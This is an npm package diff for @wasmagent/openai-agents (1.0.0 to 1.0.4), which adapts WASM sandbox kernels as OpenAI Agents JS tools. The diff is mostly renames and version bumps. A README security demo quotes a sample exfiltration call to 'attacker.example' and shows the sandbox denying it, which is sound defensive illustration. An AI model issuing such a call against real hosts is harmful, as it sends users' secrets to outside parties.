@wasmagent/openai-agents 1.0.0 → 1.0.4

package/LICENSE

@@ -186,7 +186,7 @@
       same "printed page" as the copyright notice for easier
       identification within third-party archives.
 
-   Copyright 2026 agentkit-js contributors
+   Copyright 2026 WasmAgent contributors
 
    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.

package/README.md

@@ -1,5 +1,7 @@
 # /openai-agents
 
+> **Maturity: beta** — API shape may change in minor versions; changes announced in CHANGELOG.
+
 > Drop wasmagent sandbox kernels into the **OpenAI Agents JS SDK** as a
 > native `tool`. Edge-safe code execution, one capability manifest, runs on
 > Cloudflare Workers / Vercel Edge / Node — no E2B sandbox required.
@@ -21,10 +23,43 @@ isolation. It does **not** cover:
 - Workloads where 50 ms is too long for cold start and per-second container
   billing dominates the cost.
 
-The agentkit kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
+The wasmagent kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
 or Wasmtime — so they run wherever JS runs. This package binds them to the
 Agents JS `Tool` shape.
 
+## Before / After
+
+Replacing the OpenAI built-in `code_interpreter` tool with a wasmagent WASM kernel:
+
+```diff
+ const agent = new Agent({
+   name: "math-helper",
+   tools: [
+-    { type: "code_interpreter" },   // ← hosted, no edge support, per-session billing
++    sandboxedJsAgentTool({ kernel: new QuickJSKernel() }),
++    // ↑ in-process, edge-safe, $0/call, full CapabilityManifest
+   ],
+ });
+```
+
+Full before/after:
+
+```diff
++import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
++import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+
+ const agent = new Agent({
+   name: "math-helper",
+   tools: [
+-    { type: "code_interpreter" },
++    sandboxedJsAgentTool({
++      kernel: new QuickJSKernel(),
++      capabilities: { allowedHosts: [] },
++    }),
+   ],
+ });
+```
+
 ## Install
 
 ```bash
@@ -71,7 +106,7 @@ const agent = new Agent({ name: "ops", tools: [portalTool] });
 
 ## Kernel selection — pick the right tier
 
-`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any agentkit
+`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any wasmagent
 kernel. The choice is independent of the SDK adapter — swap kernels in
 one line, the rest of your code is unchanged:
 
@@ -84,6 +119,33 @@ one line, the rest of your code is unchanged:
 
 Swap is a one-liner — `kernel: new QuickJSKernel()` becomes `kernel: new PyodideKernel()`. Same `CapabilityManifest`, same OpenAI Agents JS `Tool<T>` shape.
 
+## Security demo
+
+`CapabilityManifest` enforces network and filesystem policy at the kernel
+boundary — the model cannot escape it regardless of what code it generates:
+
+```ts
+import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+
+const kernel = new QuickJSKernel();
+const tool = sandboxedJsAgentTool({
+  kernel,
+  capabilities: {
+    allowedHosts: [],           // no outbound network
+    allowedPaths: [],           // no filesystem access
+    cpuMs: 5_000,
+    memoryLimitBytes: 64 * 1024 * 1024,
+  },
+});
+
+// Model-generated code that tries to exfiltrate data:
+// fetch("https://attacker.example/exfil?data=secret")
+// → throws: network access denied — host "attacker.example" not in allowedHosts
+```
+
+The same manifest applies to both `sandboxedJsAgentTool` and `codeModeAgentTool`.
+
 ## Capability manifest
 
 Same `CapabilityManifest` as the other adapters — see

package/dist/index.d.ts

@@ -1,5 +1,5 @@
 /**
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
  *
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
  * definition: `{ name, description, parameters (Zod), execute(input) }`.

package/dist/index.js

@@ -1,5 +1,5 @@
 /**
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
  *
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
  * definition: `{ name, description, parameters (Zod), execute(input) }`.

package/dist/memory.d.ts

@@ -1,7 +1,7 @@
 /**
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
  *
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
  * as an OpenAI Agents JS Tool.
  *
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework

package/dist/memory.js

@@ -1,7 +1,7 @@
 /**
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
  *
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
  * as an OpenAI Agents JS Tool.
  *
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@wasmagent/openai-agents",
-  "version": "1.0.0",
+  "version": "1.0.4",
   "description": "Drop wasmagent sandbox kernels into the OpenAI Agents JS SDK as a Tool — edge-safe code execution with one capability manifest, no E2B sandbox needed",
   "type": "module",
   "main": "./dist/index.js",
@@ -18,7 +18,7 @@
     "clean": "rm -rf dist .turbo"
   },
   "dependencies": {
-    "@wasmagent/core": "^1.0.0"
+    "@wasmagent/core": "^1.20.0"
   },
   "peerDependencies": {
     "@openai/agents": ">=0.1.0",
@@ -33,7 +33,7 @@
     }
   },
   "devDependencies": {
-    "@types/node": "^22.0.0",
+    "@types/node": "^26.1.1",
     "typescript": "^5.7.0",
     "zod": "^3.22.0"
   },
@@ -49,6 +49,10 @@
     "tool",
     "wasmagent"
   ],
+  "wasmagent": {
+    "tier": "tier-1",
+    "stability": "stable"
+  },
   "license": "Apache-2.0",
   "repository": {
     "type": "git",